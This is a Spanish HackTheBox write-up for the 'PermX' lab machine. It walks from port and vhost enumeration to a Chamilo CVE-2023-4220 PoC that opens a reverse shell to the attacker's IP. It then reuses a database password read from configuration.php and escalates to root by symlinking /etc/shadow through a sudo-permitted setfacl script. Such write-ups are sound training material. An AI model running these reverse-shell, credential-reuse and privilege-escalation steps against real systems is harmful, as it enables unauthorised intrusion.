Ir al contenido
  1. Writeups/

HackTheBox - PermX

·6 mins
Nicolás Seral
Autor
Nicolás Seral
bla bla bla bla
  • Dificultad: easy
  • Tiempo aprox.: 1.5h
  • Datos Iniciales: 10.129.18.54

Enumeración inicial
#

Hacemos un escaneo de puertos, encontramos lo siguiente.

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
$ sudo nmap -sT -Pn -p- 10.129.18.54 # Encuentra 22,80
$ sudo nmap -sT -Pn -p22,80 10.129.18.54 -sVC # Indica "Did not follow redirect to http://permx.htb", lo añadimos a /etc/hosts

$ sudo nmap -sT -Pn -p22,80 permx.htb -sVC
PORT   STATE SERVICE VERSION
22/tcp open  ssh     OpenSSH 8.9p1 Ubuntu 3ubuntu0.10 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey: 
|   256 e2:5c:5d:8c:47:3e:d8:72:f7:b4:80:03:49:86:6d:ef (ECDSA)
|_  256 1f:41:02:8e:6b:17:18:9c:a0:ac:54:23:e9:71:30:17 (ED25519)
80/tcp open  http    Apache httpd 2.4.52
|_http-title: eLEARNING
|_http-server-header: Apache/2.4.52 (Ubuntu)
Service Info: Host: 127.0.1.1; OS: Linux; CPE: cpe:/o:linux:linux_kernel
  • tcp/22 (OpenSSH 8.9p1): Tiene algunas vulnerabilidades, pero son difícilmente explotables así que las consideramos no relevantes.
  • tcp/80 (Apache httpd 2.4.52): Algunas vulnerabilidades no relevantes y dos críticas: CVE-2022-22720 (HTTP Request Smuggling) y CVE-2022-23943 (Out-of-bounds Write), ambas de CVSS 9.8.

La segunda vulnerabilidad posiblemente no nos sirva de nada por la complejidad de explotarla, pero la primera no la descartamos de momento.

Puerto 80, HTTP
#

Antes de nada, enumeramos subdominios por si acaso.

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
# Los subdominios inválidos redirigían hacia permx.htb. Para filtrarlos sin 
# basarnos en el status code de HTTP, usamos --xh -xl 266.
$ gobuster vhost --url http://permx.htb --wordlist /usr/share/wordlists/seclists/Discovery/DNS/n0kovo_subdomains.txt -ad --xh -xl 266
===============================================================
Gobuster v3.8.2
by OJ Reeves (@TheColonial) & Christian Mehlmauer (@firefart)
===============================================================
[+] Url:                       http://permx.htb
[+] Method:                    GET
[+] Threads:                   10
[+] Wordlist:                  /usr/share/wordlists/seclists/Discovery/DNS/n0kovo_subdomains.txt
[+] User Agent:                gobuster/3.8.2
[+] Timeout:                   10s
[+] Append Domain:             true
[+] Exclude Length:            266
[+] Exclude Hostname Length:   true
===============================================================
Starting gobuster in VHOST enumeration mode
===============================================================
lms.permx.htb Status: 200 [Size: 19347]

Y tenemos lms.permx.htb. Lo miraremos más adelante.

Dominio Principal
#

Al entrar nos encontramos con la siguiente página de eLearning. ![px1.png]

Si vamos tocando cosas, nos encontramos con varias pestañas diferentes: index.html, about.html, courses.html, team.html, testimonial.html y contact.html.

Ninguna contiene nada relevante, la única que parece dejar enviar datos es contact.html y pone explícitamente “The contact form is currently inactive.”.

Dicho esto, vamos al subdominio.

Subdominio lms
#

Encontramos el siguiente panel de inicio de sesión de un servicio que parece ser Chamilo:

Según Wikipedia:

Chamilo es un sistema de gestión de aprendizaje o LMS (Learning Management System), diseñado para apoyar a la educación en línea. Es una plataforma de software libre escrita en PHP, cuyo propósito es mejorar la educación y su acceso a ella a nivel mundial.

Para ver la versión, miramos el código fuente de la página inicial. Ahí encontramos la siguiente línea:

1
<meta name="generator" content="Chamilo 1" />

Si buscamos más acerca de la versión Chamilo 1, veremos que tiene varias vulnerabilidades relevantes que permiten RCE, entre ellas el CVE-2023-4220, con un PoC público.

1
2
3
4
5
6
7
$ python3 main.py -u http://lms.permx.htb --mode revshell
[?] Paste here your IP: 10.10.16.82
[?] Paste here your port: 4444
[+] Make sure you are listening in port 4444
[-] Unmanaged Exception: HTTPConnectionPool(host='lms.permx.htb', port=80): Read timed out. (read timeout=3)
# Aunque da un timeout, la revshell ya se ha establecido antes de que pase el tiempo.
[-] Exiting...

Y en el listener:

1
2
3
4
5
6
7
8
9
$ penelope -i 10.10.16.82
[+] Listening for reverse shells on 10.10.16.82:4444 
➤  🏠 Main Menu (m) 💀 Payloads (p) 🔄 Clear (Ctrl-L) 🚫 Quit (q/Ctrl-C)
[+] Got reverse shell from permx~10.129.18.54-Linux-x86_64 😍️ Assigned SessionID <1>
[+] Attempting to upgrade shell to PTY...
[+] Shell upgraded successfully using /usr/bin/python3! 💪
[+] Interacting with session [1], Shell Type: PTY, Menu key: F12 

www-data@permx:/var/www/chamilo/main/inc/lib/javascript/bigupload/files$

Movimiento lateral
#

Aparecemos como el usuario www-data y necesitamos conseguir ser un usuario más privilegiado. Si buscamos en /home, encontramos el usuario mtz.

1
2
www-data@permx:/var/www/chamilo$ ls /home/
mtz

Dado que Chamilo nos pedía unas credenciales, es probable que ya tenga algunas almacenadas y use alguna base de datos para guardarlas.

Si buscamos información acerca de dónde se guardan dichas credenciales de usuarios, veremos que Chamilo usa MySQL/MariaDB para guardarlas y que las credenciales de la DB se guardan en app/config/configuration.php.

Vamos a configuration.php:

1
2
3
4
5
6
7
www-data@permx:/var/www/chamilo$ cat app/config/configuration.php | grep -E 'db_*|main_database'
$_configuration['db_host'] = 'localhost';
$_configuration['db_port'] = '3306';
$_configuration['main_database'] = 'chamilo';
$_configuration['db_user'] = 'chamilo';
$_configuration['db_password'] = '03F6lY3uXAP2bkW8';
...

Antes de nada, probamos a cambiar de usuario a mtz usando la contraseña de la DB:

1
2
3
www-data@permx:/var/www/chamilo$ su mtz
Password: # 03F6lY3uXAP2bkW8
mtz@permx:/var/www/chamilo$

Y ya somos mtz.

Privesc
#

Vamos enumerando cosas. Primero miramos los permisos sudo:

1
2
3
4
5
6
mtz@permx:/var/www/chamilo$ sudo -l
Matching Defaults entries for mtz on permx:
    env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin, use_pty

User mtz may run the following commands on permx:
    (ALL : ALL) NOPASSWD: /opt/acl.sh

Script acl.sh
#

Echamos un ojo al script acl.sh:

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
mtz@permx:/var/www/chamilo$ cat /opt/acl.sh 
#!/bin/bash
if [ "$#" -ne 3 ]; then
    /usr/bin/echo "Usage: $0 user perm file"
    exit 1
fi
user="$1"
perm="$2"
target="$3"
if [[ "$target" != /home/mtz/* || "$target" == *..* ]]; then
    /usr/bin/echo "Access denied."
    exit 1
fi
# Check if the path is a file
if [ ! -f "$target" ]; then
    /usr/bin/echo "Target must be a file."
    exit 1
fi
/usr/bin/sudo /usr/bin/setfacl -m u:"$user":"$perm" "$target"

El script hace lo siguiente:

  • Comprueba que el número de parámetros pasados sea exactamente 3, respectivamente: Usuario, Permiso y Archivo Objetivo.
  • Si el objetivo es un archivo, está en /home/mtz, y no contiene .. (Path Traversal), se le cambian los permisos con setfacl a los especificados.

Podemos probar a hacer un symlink hacia /etc/shadow. Si el script sigue el symlink, conseguiremos cambiar los permisos del /etc/shadow real.

1
2
3
mtz@permx:~$ ln -s /etc/shadow ./shad
mtz@permx:~$ ls -l shad
lrwxrwxrwx 1 mtz mtz 11 Jun 19 02:06 shad -> /etc/shadow

Ahora podemos intentar darnos permisos de escritura:

1
mtz@permx:~$ sudo /opt/acl.sh mtz rwx /home/mtz/shad

Miramos si ha funcionado, y vemos que sí:

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
mtz@permx:~$ getfacl /etc/shadow
getfacl: Removing leading '/' from absolute path names
# file: etc/shadow
# owner: root
# group: shadow
user::rw-
user:mtz:rwx
group::r--
mask::rwx
other::---

Ahora creamos una contraseña “password”:

1
2
3
4
mtz@permx:~$ openssl passwd -6
Password: #password
Verifying - Password: #password
$6$0vNifCLAnBkkZOzU$lT09zRr2doXwLz4xVTUG11GQ7420FnY/r/VgPfuT2Zx8VDhSZtKamUUyHDdiMPBAkp28IkzDSv9s/VvolQMje/

Modificamos /etc/shadow:

1
2
3
4
5
6
7
mtz@permx:~$ nano /etc/shadow
# Cambiamos el hash de root por el de "password".

mtz@permx:~$ su root
Password:
root@permx:/home/mtz# whoami
root

Y tenemos root.

Relacionados

HackTheBox - BoardLight

·7 mins
OS: Linux | Dificultad: Easy | Conceptos: Enumeración de subdominios, Dolibarr RCE, Reutilización de contraseñas, Explotación de binario SUID, CVEs públicos.

HackTheBox - Orion

·6 mins
OS: Linux | Dificultad: Easy | Conceptos: Versión de Yii Framework expuesta, CVE en CraftCMS, Credencial de MariaDB crackeada, Reutilización de contraseñas, Vulnerabilidad en Telnet

HackTheBox - Connected

·15 mins
OS: Linux | Dificultad: Easy | Conceptos: CVE Público, Unauthenticated SQLi en FreePBX, RCE vía SQLi, Privesc mediante inyección de comandos con incron.